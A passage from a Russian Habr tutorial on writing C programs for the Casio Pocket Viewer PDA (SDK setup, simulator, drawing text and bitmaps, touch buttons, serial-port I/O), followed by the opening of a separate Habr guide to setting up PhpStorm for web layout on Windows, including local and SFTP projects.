* Компьютер с ОС Windows 98/NT/2000 или виртуальная машина с таковой. На современные ОС установить SDK не выходит: инсталлятор банально не запускается. Впрочем, ничто не мешает поставить его на старой ОС, а затем перенести папки на новую, все компоненты запускаются даже на Windows 10 x64.
* Собственно, сам Pocket Viewer SDK. Где его взять, уже было сказано чуть выше. Для вашего удобства все ссылки будут продублированы в конце поста.
* Любой удобный для вас редактор кода, например, тот же Notepad++. Впрочем, при желании можно использовать и банальный «Блокнот».
* Casio PVOS Application Manager. Позволяет устанавливать приложения в формате \*.bin на реальный КПК. Также [есть](http://old-dos.ru/index.php?page=files&mode=files&do=show&id=101012) версия на русском языке.
* КПК с подставкой для подключения к компьютеру. На нём будем запускать протестированные в эмуляторе приложения. Также следует отметить, что компьютер должен быть оснащён COM-портом. Различные переходники USB2COM работают, но крайне плохо.
### Ставим софт
Установка SDK каких-любо нюансов не имеет, ставится он как и любое другое Windows-приложение. Так что документировать данный процесс смысла не вижу. После установки в корне системного диска появятся папки **LSIJ** и **CASIO**. В первой находится компилятор LSIC86PV, позволяющий собрать приложение для Pocket Viewer OS. Во второй будет находиться вложенная папка (название зависит от версии установленного вами SDK), где лежат все остальные средства разработки: библиотеки, примеры программ (впрочем, для введения в разработку под PVOS они сложноваты), документация, эмулятор, Application Manager.
Больше никаких манипуляций типа установки PATH или чего-то вроде этого не требуется.
### Симулятор
В папке **SIM** находится симулятор данного КПК. Это не полный его эмулятор, то есть вполне возможно, что поведение программы в нём и на реальном устройстве будет отличаться. С этим ничего не поделать.
Для запуска открываем имеющийся в папке рядом с ним проект PV-S450 и всё, можно запускать.
Для того, чтобы поменять установленное приложение, жмём на панели меню «Project», далее «Configuration», в открывшемся окне переходим на вкладку «Chips».
Далее ищем в списке «SAMPLE», жмякаем правой кнопкой мыши, выбираем «Proparties» (угу, так и написано), выбираем нужный нам бинарник вместо sample.bin.
Не забываем после каждого изменения (например, после очередной компиляции) перезагрузить наш виртуальный КПК.
Разумеется, можно использовать данную прогу не только для разработки, а ещё и для того, чтобы запустить софт для PVOS при отсутствии самого КПК.
### Application Manager
Для установки и удаления приложений на реальном КПК существует Application Manager. Пользоваться им предельно просто: запускаем программу, насаживаем КПК на подставку, инициируем загрузку (через кнопку «Menu bar» из главного экрана, а не кнопкой на подставке, иначе будет ошибка связи!), запускаем обмен данными крайней левой кнопочкой на панели меню Application Manager.
Установив связь и получив список программ, добавляем или удаляем нужные, а затем производим обмен данными (той же самой кнопкой или «Execute\Update PV»). Всё, приложение установлено (ну, или снесено).
### Структура проекта
Итак, заглянем в папку **C** и посмотрим, что же у нас там лежит. В папке **Bin** хранятся скомпилированные бинарники, пригодные для загрузки в КПК или запуска в симуляторе. Также есть несколько папок с библиотеками, а также разделы **Sample** и **Sample1**. Это и есть проекты. Откроем какой-нибудь из них. В каждой из этих двух папок лежит Makefile, батник для сборки, каталоги с исходниками. Также есть папка **MENUICON** — там хранится иконка приложения для отображения в списке в главном меню.
Запустим батник и убедимся, что проект успешно компилируется.
### Пишем первую программу
Ну что, со сборкой разобрались. Пришло время написать что-то своё. Итак, создаём в папке **C** ещё какую-нибудь папку, скажем, **Test**. А в ней — такую же структуру папок, какую видели в других проектах. Копируем также содержимое **MENUICON**.
Берём MAKEFILE из уже имеющегося проекта и слегка модифицируем его под наши задачи. Примерно так:
`#Makefile for PocketViewer2 Sample Program
include ..\COM_LNK\MakeSDK.1
### -------- Define Make Application -------- ###
#== TargetName ==
TARGET = test
#== Program Name ==
PROGNAME = "test"
#== ProgramVersion(EX. 0100->Ver1.00) ==
VERSION = 0100
#== MenuIcon (Xsize=45dot,Ysize=28dot) ==
MICON = menuicon\icon.bmp
#== ListMenuIcon (Xsize=27dot,Ysize=20dot) ==
LICON = menuicon\Licon.bmp
#== CompileObjectFile ==
APLOBJS = $(ODIR)\test.obj
### ----------------------------------------- ###
include ..\COM_LNK\MakeSDK.2`
В папке **C** создаём какой-нибудь файл, скажем, **test.c**. И пишем там следующее:
```
#include
#include "define.h"
#include "libc.h"
TCHTBL TchList[1] =
{
0, 0, 0, 0,
ACT\_NONE,
OBJ\_END,
0x0000
};
void main()
{
TCHSTS tsts;
LibTchStackClr();
LibTchStackPush(NULL);
LibTchStackPush(TchHardIcon);
LibTchStackPush(&TchList[0]);
LibClrDisp();
LibPutDisp();
LibTchInit();
while(1)
{
LibTchWait(&tsts);
}
LibTchStackClr();
LibJumpMenu();
}
```
С батником для сборки заморачиваться не будем — позаимствуем его у того же предыдущего проекта. Запускаем его. Если всё было сделано правильно, компиляция должна пройти успешно, а в папке **Bin** появится наш бинарник **test.bin**. Загружаем его в симулятор и пробуем запускать. И получаем совершенно пустой экран. Да, всё так и должно быть. Что важно, КПК при этом не завис, не перезагрузился и никак иначе не заглючил. Нажмём «Menu», и программа закроется.
### Что тут происходит?
Теперь разберёмся, как оно вообще работает.
TCHSTS tsts; — создание структуры для работы с сенсорным экраном. Именно из неё мы будем получать все данные о касаниях.
Следующие четыре строки — инициализация стека сенсорного экрана. В ходе данной процедуры мы очищаем стек и загружаем туда две таблицы — TchHardIcon и TchList. Таблица касаний — это сведения о каждом объекте на сенсорном экране, доступном для касания. Первая из них — это подэкранные кнопки (Menu, Esc и все остальные), вторая — пользовательские объекты. Их определяет созданный в начале текста программы массив:
```
TCHTBL TchList[1] =
{
0, 0, 0, 0,
ACT_NONE,
OBJ_END,
0x0000
};
```
Именно в него должны будут записываться данные обо всех размещённых нами на экране элементах управления. Для каждого элемента необходимо указать координаты, в пределах которых на него можно нажать, а также ряд параметров вроде ID этого объекта. Подробнее об этом поговорим чуть позже.
Следом идут ещё две команды — LibClrDisp() и LibPutDisp(). Первая из них производит очистку, вторая — выводит на дисплей содержимое экранного буфера. Без вызова LibPutDisp() изображение на экране останется без изменений.
Далее идёт бесконечный цикл, в котором мы вызываем функцию LibTchWait(&tsts). Дело в том, что для получения данных сенсорного экрана его необходимо постоянно опрашивать. Если мы уберём эту функцию, при запуске программы она зависнет, не в силах считать даже нажатие кнопки «Menu». После опроса мы можем получить данные о том, что было нажато на экране.
И, напоследок, очистка стека тачскрина и выход в меню.
### Hello, world!
Попробуем вывести что-то на экран. Для этого предусмотрена функция LibStringDisp().
Добавим её в нашу первую программу:
```
#include
#include "define.h"
#include "libc.h"
TCHTBL TchList[1] =
{
0, 0, 0, 0,
ACT\_NONE,
OBJ\_END,
0x0000
};
void main()
{
TCHSTS tsts;
char \* str = "Hello, Habrahabr!";
LibTchStackClr();
LibTchStackPush(NULL);
LibTchStackPush(TchHardIcon);
LibTchStackPush(&TchList[0]);
LibClrDisp();
LibPutDisp();
LibTchInit();
LibStringDsp(str,0,0,100,IB\_PFONT2);
LibPutDisp();
while(1)
{
LibTchWait(&tsts);
}
LibTchStackClr();
LibJumpMenu();
}
```
Первый аргумент данной функции — указатель на строку, далее идут координаты, максимальный размер (в пикселях) и шрифт.
Компилируем, загружаем в симулятор:
Работает. Кто бы сомневался. Время загрузить в «железный» девайс. Открываем Application Manager, соединяемся…
Жмём на иконку нашего приложения, и на экране появляется примерно следующее:
Отлично. Работает.
### BMP
Вывели текст — попробуем вывести и картинку. Такую, например:
Разумеется, нельзя просто так взять и загрузить её в память PV. Для этого необходимо сделать ряд нехитрых манипуляций.
Перво-наперво, откроем Photoshop и сделаем её такой:
Обесцветим её, а заодно и подгоним под размер экрана.
Теперь откроем папку **Tools** из комплекта SDK, где лежит утилита для преобразования BMPшек в массив. Запускаем её, открываем в ней нашу картинку, конвертируем:
На выходе получаем файл с расширением \*.BMT. Не буду копировать всё его содержимое, покажу только первые несколько строк:
```
GSIZE(152, 160),
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0x83, 0x8F, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0xFC, 0x01, 0x0F, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0xDF, 0xFE, 0x82, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0xBF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0xD9, 0xFF, 0x80, 0xF7, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0xD9, 0x8F, 0x80, 0xD7, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xEF, 0xBE, 0xCF, 0xFF, 0xFD, 0xFF, 0xFF, 0xFC, 0x60, 0x0F, 0x80, 0x27, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xEF, 0x3B, 0xCF, 0xFF, 0xFC, 0xFF, 0xFD, 0xFC, 0x00, 0x0F, 0x00, 0x3F, 0xFF, 0xFF, 0xFF,
```
Первые байты массива отражают размер картинки, далее идёт стандартный bitmap.
Программа в итоге получается такая:
```
#include
#include "define.h"
#include "libc.h"
#include "l\_define.h"
#include "l\_libc.h"
#define OBJ\_ICN1 0x9000
TCHTBL TchList[2] =
{
0, 0,
152, 160,
ACT\_ICON,
OBJ\_ICN1,
0x0000,
0, 0, 0, 0,
ACT\_NONE,
OBJ\_END,
0x0000
};
byte bitmap[] = {
/\*Вот здесь должно быть полное содержимое \*.BMT-файла\*/
};
T\_ICON newIcon = {&TchList[0], bitmap, NULL, 0x01};
void main()
{
TCHSTS tsts;
LibTchStackClr();
LibTchStackPush(NULL);
LibTchStackPush(TchHardIcon);
LibTchStackPush(&TchList[0]);
LibClrDisp();
LibIconPrint(&newIcon);
LibPutDisp();
LibTchInit();
while(1)
{
LibTchWait(&tsts);
}
LibTchStackClr();
LibJumpMenu();
}
```
OBJ\_ICN1 — это ID элемента, находящегося на экране. В качестве него можно взять любое значение в диапазоне 0x8000-0xFFFF. Далее пропишем нашу картинку в TchList. Укажем координаты (x1, y1, x2, y2), а также то, что этот объект — иконка. Создадим массив байт, куда скопируем наш файл \*.BMT, а также объект newIcon — он связывает элемент из TchList и изображение. В функции main() добавится строка LibIconPrint(&newIcon); — вывод картинки на экран.
Компилируем, и всё, можно запускать!
### Кнопки
Рассмотрим теперь работу с кнопками. Вообще, в PVOS нет понятия кнопок, есть просто область на экране, нажатия на которую мы отслеживаем. Но тыкать в пустое место не хочется, поэтому обозначим место кнопки соответствующей BMPшкой.
Откроем папку **DOC\GRAPHICS**. Там лежит целая куча картинок, что называется, на все случаи жизни. Берём какую-нибудь из них и перегоняем в BMT:
И пишем вот такую программу:
```
#include
#include "define.h"
#include "libc.h"
#include "l\_define.h"
#include "l\_libc.h"
#define OBJ\_BTN1 0x9000
TCHTBL TchList[2] =
{
25, 25,
25 + 45, 25 + 28,
ACT\_ICON,
OBJ\_BTN1,
0x0000,
0, 0, 0, 0,
ACT\_NONE,
OBJ\_END,
0x0000
};
byte bitmap[] = {
GSIZE(45, 28),
0x00, 0x00, 0x00, 0x00, 0x00, 0x07,
0x00, 0x7F, 0xFF, 0xFF, 0xE0, 0x07,
0x00, 0x40, 0x00, 0x00, 0x30, 0x07,
0x00, 0x40, 0x00, 0x00, 0x30, 0x07,
0x00, 0x40, 0x1C, 0x00, 0x30, 0x07,
0x00, 0x40, 0x27, 0x80, 0x30, 0x07,
0x00, 0x40, 0x20, 0xE0, 0x30, 0x07,
0x00, 0x40, 0x58, 0x38, 0x30, 0x07,
0x00, 0x40, 0x5E, 0x14, 0x30, 0x07,
0x00, 0x40, 0xBF, 0x94, 0x30, 0x07,
0x00, 0x40, 0xBF, 0xD4, 0x30, 0x07,
0x00, 0x40, 0xBF, 0xAC, 0x30, 0x07,
0x00, 0x41, 0x7F, 0xA8, 0x30, 0x07,
0x00, 0x41, 0x7F, 0x28, 0x30, 0x07,
0x00, 0x41, 0x7F, 0x58, 0x30, 0x07,
0x00, 0x41, 0x7F, 0x50, 0x30, 0x07,
0x00, 0x42, 0xFE, 0x50, 0x30, 0x07,
0x00, 0x42, 0x7E, 0xB0, 0x30, 0x07,
0x00, 0x42, 0x1C, 0xA0, 0x30, 0x07,
0x00, 0x42, 0x05, 0x60, 0x30, 0x07,
0x00, 0x43, 0x01, 0x40, 0x30, 0x07,
0x00, 0x41, 0xC2, 0xC0, 0x30, 0x07,
0x00, 0x40, 0x73, 0x80, 0x30, 0x07,
0x00, 0x40, 0x1F, 0x00, 0x30, 0x07,
0x00, 0x40, 0x00, 0x00, 0x30, 0x07,
0x00, 0x40, 0x00, 0x00, 0x30, 0x07,
0x00, 0x7F, 0xFF, 0xFF, 0xF0, 0x07,
0x00, 0x3F, 0xFF, 0xFF, 0xF0, 0x07,
};
T\_ICON IconButton1 = {&TchList[0], bitmap, NULL, 0x01};
void buttonPressed() {
char \* str = "Button pressed";
LibStringDsp(str, 0, 0, 100, IB\_PFONT2);
LibPutDisp();
}
void main()
{
TCHSTS tsts;
LibTchStackClr();
LibTchStackPush(NULL);
LibTchStackPush(TchHardIcon);
LibTchStackPush(&TchList[0]);
LibClrDisp();
LibIconPrint(&IconButton1);
LibPutDisp();
LibTchInit();
while(1)
{
LibTchWait(&tsts);
if(tsts.obj == OBJ\_BTN1) {
buttonPressed();
}
}
LibTchStackClr();
LibJumpMenu();
}
```
Создаём функции обработчика кнопок. Думаю, в пояснении они не нуждаются.
Собственно, всё происходит так же, как и с картинками, за исключением функции main(). Помимо постоянного опроса тачскрина мы проверяем, были ли нажаты кнопки (точнее говоря, был ли тык в отчерченную координатами область). Для этого используются всё те же заданные нами ID.
Ну что, компилируем и запускаем? Работает? Отлично.
**Ну, где одна кнопка, там и две. И программа, в общем-то, похожа... Bitmap оставил один на двоих, если что.**
```
#include
#include "define.h"
#include "libc.h"
#include "l\_define.h"
#include "l\_libc.h"
#define OBJ\_BTN1 0x9000
#define OBJ\_BTN2 0x9001
TCHTBL TchList[3] =
{
25, 25,
25 + 45, 25 + 28,
ACT\_ICON,
OBJ\_BTN1,
0x0000,
25, 80,
25 + 45, 80 + 28,
ACT\_ICON,
OBJ\_BTN2,
0x0000,
0, 0, 0, 0,
ACT\_NONE,
OBJ\_END,
0x0000
};
byte bitmap[] = {
GSIZE(45, 28),
0x00, 0x00, 0x00, 0x00, 0x00, 0x07,
0x00, 0x7F, 0xFF, 0xFF, 0xE0, 0x07,
0x00, 0x40, 0x00, 0x00, 0x30, 0x07,
0x00, 0x40, 0x00, 0x00, 0x30, 0x07,
0x00, 0x40, 0x1C, 0x00, 0x30, 0x07,
0x00, 0x40, 0x27, 0x80, 0x30, 0x07,
0x00, 0x40, 0x20, 0xE0, 0x30, 0x07,
0x00, 0x40, 0x58, 0x38, 0x30, 0x07,
0x00, 0x40, 0x5E, 0x14, 0x30, 0x07,
0x00, 0x40, 0xBF, 0x94, 0x30, 0x07,
0x00, 0x40, 0xBF, 0xD4, 0x30, 0x07,
0x00, 0x40, 0xBF, 0xAC, 0x30, 0x07,
0x00, 0x41, 0x7F, 0xA8, 0x30, 0x07,
0x00, 0x41, 0x7F, 0x28, 0x30, 0x07,
0x00, 0x41, 0x7F, 0x58, 0x30, 0x07,
0x00, 0x41, 0x7F, 0x50, 0x30, 0x07,
0x00, 0x42, 0xFE, 0x50, 0x30, 0x07,
0x00, 0x42, 0x7E, 0xB0, 0x30, 0x07,
0x00, 0x42, 0x1C, 0xA0, 0x30, 0x07,
0x00, 0x42, 0x05, 0x60, 0x30, 0x07,
0x00, 0x43, 0x01, 0x40, 0x30, 0x07,
0x00, 0x41, 0xC2, 0xC0, 0x30, 0x07,
0x00, 0x40, 0x73, 0x80, 0x30, 0x07,
0x00, 0x40, 0x1F, 0x00, 0x30, 0x07,
0x00, 0x40, 0x00, 0x00, 0x30, 0x07,
0x00, 0x40, 0x00, 0x00, 0x30, 0x07,
0x00, 0x7F, 0xFF, 0xFF, 0xF0, 0x07,
0x00, 0x3F, 0xFF, 0xFF, 0xF0, 0x07,
};
T\_ICON IconButton1 = {&TchList[0], bitmap, NULL, 0x01};
T\_ICON IconButton2 = {&TchList[1], bitmap, NULL, 0x01};
void button1Pressed() {
char \* str = "Button 1 pressed";
LibStringDsp(str, 0, 0, 100, IB\_PFONT2);
LibPutDisp();
}
void button2Pressed() {
char \* str = "Button 2 pressed";
LibStringDsp(str, 0, 0, 100, IB\_PFONT2);
LibPutDisp();
}
void main()
{
TCHSTS tsts;
LibTchStackClr();
LibTchStackPush(NULL);
LibTchStackPush(TchHardIcon);
LibTchStackPush(&TchList[0]);
LibClrDisp();
LibIconPrint(&IconButton1);
LibIconPrint(&IconButton2);
LibPutDisp();
LibTchInit();
while(1)
{
LibTchWait(&tsts);
if(tsts.obj == OBJ\_BTN1) {
button1Pressed();
}
if(tsts.obj == OBJ\_BTN2) {
button2Pressed();
}
}
LibTchStackClr();
LibJumpMenu();
}
```
### RS-232
Несколько неожиданно, но имеющийся у КПК COM-порт можно использовать и в своих целях, а не только лишь для связи с ПК.
Итак, для начала порт надо открыть:
```
byte openPort()
{
SRL_STAT srl;
srl.port = IB_SRL_COM2;
srl.speed = IB_SRL_9600BPS;
srl.parit = IX_SRL_NONE;
srl.datab = IX_SRL_8DATA;
srl.stopb = IX_SRL_1STOP;
srl.fctrl = IX_SRL_NOFLOW;
if (LibSrlPortOpen(&srl) != IW_SRL_NOERR)
{
LibPutMsgDlg("LibSrlPortOpen error");
return 1;
}
return 0;
}
```
Здесь мы задаём параметры порта и записываем их.
Пропишем в функции main():
```
if(!openPort()) {
LibStringDsp("Port opened", 0, 0, 100, IB_PFONT2);
LibPutDisp();
}
else LibJumpMenu();
```
Теперь разберёмся с тем, как производить сам обмен данными. Для этого существуют функции LibSrlRecvByte() и LibSrlSendByte(). Используются они примерно так:
```
byte ReadCOM(byte * data)
{
byte sReceivedByte;
if (LibSrlRecvByte(&sReceivedByte) == IW_SRL_NODATA) return 1;
*data = sReceivedByte;
return 0;
}
byte WriteCOM(byte data)
{
if(LibSrlSendByte(IB_FOLLOW_BUSY, data) == IW_SRL_NOERR) return 0;
else return 1;
}
```
Ну а теперь посмотрим, как это применять на практике. Возьмём нашу программу с двумя кнопками и добавим ранее упомянутые функции:
```
#include
#include "define.h"
#include "libc.h"
#include "l\_define.h"
#include "l\_libc.h"
#define OBJ\_BTN1 0x9000
#define OBJ\_BTN2 0x9001
TCHTBL TchList[3] =
{
25, 25,
25 + 45, 25 + 28,
ACT\_ICON,
OBJ\_BTN1,
0x0000,
25, 80,
25 + 45, 80 + 28,
ACT\_ICON,
OBJ\_BTN2,
0x0000,
0, 0, 0, 0,
ACT\_NONE,
OBJ\_END,
0x0000
};
byte bitmap[] = {
GSIZE(45, 28),
0x00, 0x00, 0x00, 0x00, 0x00, 0x07,
0x00, 0x7F, 0xFF, 0xFF, 0xE0, 0x07,
0x00, 0x40, 0x00, 0x00, 0x30, 0x07,
0x00, 0x40, 0x00, 0x00, 0x30, 0x07,
0x00, 0x40, 0x1C, 0x00, 0x30, 0x07,
0x00, 0x40, 0x27, 0x80, 0x30, 0x07,
0x00, 0x40, 0x20, 0xE0, 0x30, 0x07,
0x00, 0x40, 0x58, 0x38, 0x30, 0x07,
0x00, 0x40, 0x5E, 0x14, 0x30, 0x07,
0x00, 0x40, 0xBF, 0x94, 0x30, 0x07,
0x00, 0x40, 0xBF, 0xD4, 0x30, 0x07,
0x00, 0x40, 0xBF, 0xAC, 0x30, 0x07,
0x00, 0x41, 0x7F, 0xA8, 0x30, 0x07,
0x00, 0x41, 0x7F, 0x28, 0x30, 0x07,
0x00, 0x41, 0x7F, 0x58, 0x30, 0x07,
0x00, 0x41, 0x7F, 0x50, 0x30, 0x07,
0x00, 0x42, 0xFE, 0x50, 0x30, 0x07,
0x00, 0x42, 0x7E, 0xB0, 0x30, 0x07,
0x00, 0x42, 0x1C, 0xA0, 0x30, 0x07,
0x00, 0x42, 0x05, 0x60, 0x30, 0x07,
0x00, 0x43, 0x01, 0x40, 0x30, 0x07,
0x00, 0x41, 0xC2, 0xC0, 0x30, 0x07,
0x00, 0x40, 0x73, 0x80, 0x30, 0x07,
0x00, 0x40, 0x1F, 0x00, 0x30, 0x07,
0x00, 0x40, 0x00, 0x00, 0x30, 0x07,
0x00, 0x40, 0x00, 0x00, 0x30, 0x07,
0x00, 0x7F, 0xFF, 0xFF, 0xF0, 0x07,
0x00, 0x3F, 0xFF, 0xFF, 0xF0, 0x07,
};
T\_ICON IconButton1 = {&TchList[0], bitmap, NULL, 0x01};
T\_ICON IconButton2 = {&TchList[1], bitmap, NULL, 0x01};
byte openPort()
{
SRL\_STAT srl;
srl.port = IB\_SRL\_COM2;
srl.speed = IB\_SRL\_9600BPS;
srl.parit = IX\_SRL\_NONE;
srl.datab = IX\_SRL\_8DATA;
srl.stopb = IX\_SRL\_1STOP;
srl.fctrl = IX\_SRL\_NOFLOW;
if (LibSrlPortOpen(&srl) != IW\_SRL\_NOERR)
{
LibPutMsgDlg("LibSrlPortOpen error");
return 1;
}
return 0;
}
byte ReadCOM(byte \* data)
{
byte sReceivedByte;
if (LibSrlRecvByte(&sReceivedByte) == IW\_SRL\_NODATA) return 1;
\*data = sReceivedByte;
return 0;
}
byte WriteCOM(byte data)
{
if(LibSrlSendByte(IB\_FOLLOW\_BUSY, data) == IW\_SRL\_NOERR) return 0;
else return 1;
}
void button1Pressed() {
LibStringDsp("Serial data sent", 0, 0, 100, IB\_PFONT2);
WriteCOM('1');
LibPutDisp();
}
void button2Pressed() {
byte serialData = 0;
if(!ReadCOM(&serialData)) {
LibStringDsp("New serial data!", 0, 0, 100, IB\_PFONT2);
WriteCOM(serialData);
}
LibPutDisp();
}
void main()
{
TCHSTS tsts;
LibTchStackClr();
LibTchStackPush(NULL);
LibTchStackPush(TchHardIcon);
LibTchStackPush(&TchList[0]);
LibClrDisp();
LibIconPrint(&IconButton1);
LibIconPrint(&IconButton2);
LibPutDisp();
LibTchInit();
if(!openPort()) {
LibStringDsp("Port opened", 0, 0, 100, IB\_PFONT2);
LibPutDisp();
}
else LibJumpMenu();
while(1)
{
LibTchWait(&tsts);
if(tsts.obj == OBJ\_BTN1) {
button1Pressed();
}
if(tsts.obj == OBJ\_BTN2) {
button2Pressed();
}
}
LibTchStackClr();
LibJumpMenu();
}
```
Теперь при нажатии первой кнопки в порт будет отправляться «1», а при нажатии второй — только что считанный байт (если в буфере он есть).
Проверим:
Кто бы сомневался.
### Вот как-то так...
Увы, материалов по программированию под PVOS в сети исчезающе мало. Раньше их было больше, но теперь большая часть ссылок не работает.
Понятное дело, вряд ли это может быть хоть как-то полезно на практике. Но я совершенно уверен, что кого-то это заинтересует, и где-то станет одной программой для PVOS больше. Такие дела.
### Ссылки
Увы, большинство тематических сайтов на данный момент уже невозможно открыть. Какого-либо крупного и ещё живого, наподобие palmdb.com, но для PV, просто нет. Даже на ещё живых сайтах большая часть ссылок уже не открывается. Если вы знаете какие-то ресурсы, которые не отражены здесь — пишите, я их обязательно добавлю.
Живые сайты (те, которые на момент написания статьи всё ещё нормально работают и содержат минимум битых ссылок):
* [Архив софта для PVOS](https://archive.org/details/pocketviewer)
* [Русский Application Manager](http://old-dos.ru/index.php?page=files&mode=files&do=show&id=101012)
* [Каталог софта для Casio PV, материалы по программированию (признаться, именно этот сайт очень сильно помог разобраться в данной теме)](http://www.adszone.org/pv.aspx)
* [Неплохой раздел по Casio PV](http://www.airbase.ru/computers/pv/)
* [Русскоязычное сообщество пользователей PV](http://www.pocket-viewer.ru)
* [SSC Localization group (раздел с ПО уже умер, а вот ОС ещё можно скачать)](http://www.ssclg.com/)
* [Сайт Костика Рассказова](http://kostik450.chat.ru/)
* [Программы для Casio PV](http://pvman.chat.ru/)
Мёртвые сайты (представлены для ознакомительных целей, доступны для изучения в Internet Archive):
* [Немецкое сообщество пользователей PV](http://www.pocketviewer.de)
* [Некогда очень хороший сайт о данном устройстве](http://www.pocket-viewer.com)
* [PVOS](http://reallyalexpro.virtualave.net/casio/) | https://habr.com/ru/post/692146/ | null | ru | null |
# Настройка PhpStorm для вёрстки на ОС Windows
Добрый день
===========
Так сложилось, что возникла необходимость подготовить единую рабочую среду (workflow) для всех верстальщиков в группе на ОС Windows. Основная цель — это в минимальные сроки передать минимум необходимых знаний всем участникам группы. Основная проблема была в том, что многие не знакомы с unix-системами и понятия не имеют, как завести тот же SASS на ОС Windows. Поэтому было принято решение составить ознакомительную статью (пошаговую инструкцию) по настройке рабочей среды.
По совету коллег решил выложить ее в открытый доступ. Думаю, начинающим верстальщикам это пригодится, т.к. когда-то я потратил немало времени, чтобы прийти к простым истинам.
Сразу оговорюсь, что выбор инструментов — дело сугубо личное, и все, что ниже описано ниже, делалось осознанно для определенной группы. Использовать данную инструкцию или нет — решать только вам.
Итак начнём!
Данная статья будет содержать в себе 3 этапа:
* [Этап 1 — установка и знакомство с IDE Phpstorm](#local-1)
* [Этап 2 — установка и настройка компилятора стилей (sass, scss)](#local-2)
* [Этап 3 — установка сборщика проектов, пример настройки (gulp)](#local-3)
Этап 1 — установка и знакомство с IDE Phpstorm
----------------------------------------------
#### Установка IDE Phpstorm
Заходим на [официальный сайт](https://www.jetbrains.com/phpstorm/?frommenu) и скачиваем 30-дневную бесплатную версию. По истечении 30 дней можно переустановить IDE и пользоваться дальше или купить подписку ~~или прибегнуть к магии некоторых умельцев~~.
**изображение**
По процессу установки думаю и так все понятно, указываем куда нужно установить программу. На одном из этапов установки, вам будет предложено выбрать какие файлы стоит открыть в IDE, а также нужно ли создать ярлык на рабочем столе.
**изображение**
По окончанию установки запускаем IDE, при первой установке вам будет предложено импортировать свои настройки или использовать стандартные.
**изображение**
Далее будет предложено приобрести лицензию (подписку) или использовать пробный период в 30 дней. Жмём «evaluate for free 30-day».
**изображение**
Далее будет предложено выбрать стиль оформления и предустановленные настройки горячих клавиш (keymap). При необходимости можно посетить сайт [Phpstorm themes](http://www.phpstorm-themes.com/) и выбрать ту тему, которая вам больше по душе.
**изображение**
На этом установка IDE закончена.
#### Создание нового проекта в IDE Phpstorm
IDE позволяем создавать 2 типа проектов:
* [Локальные проекты](#local-6)
* [Проекты связанные с удаленным сервером](#local-7)
Рассмотрим оба варианта более детально, а также настроим визуальный интерфейс на примере локального проекта.
#### Создание нового локального проекта
Создадим локальный проект. Для этого в окне приветствия IDE выберем пункт «Сreate new project». Также новый проект можно создать из меню IDE «File».
**изображение**
Отроется окно, в котром нам будет предложено выбрать:
* Шаблон проекта
* Указать место хранение проекта
* Указать название проекта
**изображение**
В случае выбора проекта с применением шаблона можно будет выбрать версию шаблона. Например, шаблон boostrap автоматически подгрузится с репозитория на github.
**изображение**
В результате у нас откроется окно нашего нового проекта. В котором будет создана папка с названием нашего проекта. Так же тут располагается папка **".idea"**, ни в коем случае **не удаляйте её**! В ней хранятся все настройки, связанные с проектом.
**изображение**
Также обращаю Ваше внимание на то, что при создании нового проекта программа попросить вас настроить пространство имён «namespace». В целом можно не заморачиваться и доверить это самой программе.
Для этого нужно во всплывающем окне нажать на ссылку «automatically». В случае, если вы случайно закрыли данное окно или оно «само» закрылось, кликните по строке состояния, и в терминале кликните на ссылку «automatically». Если вы все сделали верно, то увидите соответствующее сообщение: «Detect psr-0 namespace roots: no psr-0 namespace roots was detected». Для скрытия окна нажмите на значок с перпендикулярной стрелочкой.
**изображение**
Поздравляю, вы создали новый локальный проект. Данный вариант проектов очень удобен, если работаете над ним только вы и вам не нужно выкладывать его в сеть.
#### Создание нового проекта связанного с удаленным сервером
Для создания проекта, связанного с удаленным сервером, необходимо в окне приветствия выбрать пункт «Create New Projects from Existing Files» или в меню IDE «File — New Projects from Existing Files».
**изображение**
**изображение**
Далее вам будет предложено выбрать сценарий использования, нам нужен вариант «Web server is on remote host, files are accessible via ftp/sftp/ftps».
**изображение**
Далее нужно ввести название проекта, а также указать, где он будет храниться на вашем ПК. Если вы хотите изменить путь хранения проектов, то нужно выбрать вариант «Сustom» и указать папку куда нужно поместить проект.
**Важно!** Используйте только латиницу в именовании файлов, папок, путей хранения. Так как часть инструментов могут просто не поддерживать кириллицу.
Например:
* «С://мои документы/project/демо» — плохой вариант: путь и название проекта содержит кириллицу
* «С://project/demo» — тут все хорошо, путь и название проекта содержит только латиницу
**изображение**
Далее будет предложено создать новое удаленное подключение или выбрать из уже существующих. Создадим новое sftp (shh) подключение, укажем параметры подключения к удаленному серверу.
* Name — имя подключения, понятное для вас. Я рекомендую писать полное доменное имя, так как бывает, что на одном ip могут находится несколько тестовых сайтов
* Type — формат подключения ftp или sftp (shh)
* Sftp host — ip адрес сервера или хост (например, mysite.ru или demo.mysite.ru)
* Port — номер порта (по умолчания для ftp (21), sftp (22))
* Root path — путь к родительскому каталогу (по умолчанию оставляем "/"), например если у вас есть 2 папки на сервере (dev, www), и вы хотите, чтобы все подключение показывало сразу папку dev, то можно указать путь (/dev/)
* User name — логин для доступа на сервер
* Password — пароль для доступа на сервер (не забываем ставить галочку «save password», чтобы не вводить пароль каждый раз при подключении к серверу, терминале). так же можно подключаться при помощи ssh ключа.
* «Don't check http connection to server — ставим галочку, чтобы не проверять подключение каждый раз.»
Кнопка «Test sftp connection...» позволяет проверить, верно ли введены параметры доступа. В случае успеха будет выдано соответствующее сообщение.
«Web server root url» путь по которому будут открываться файлы для просмотра на удаленном сервере. Путь автоматически пропишется, как только будет заполнена строчка «sftp host».
**изображение**
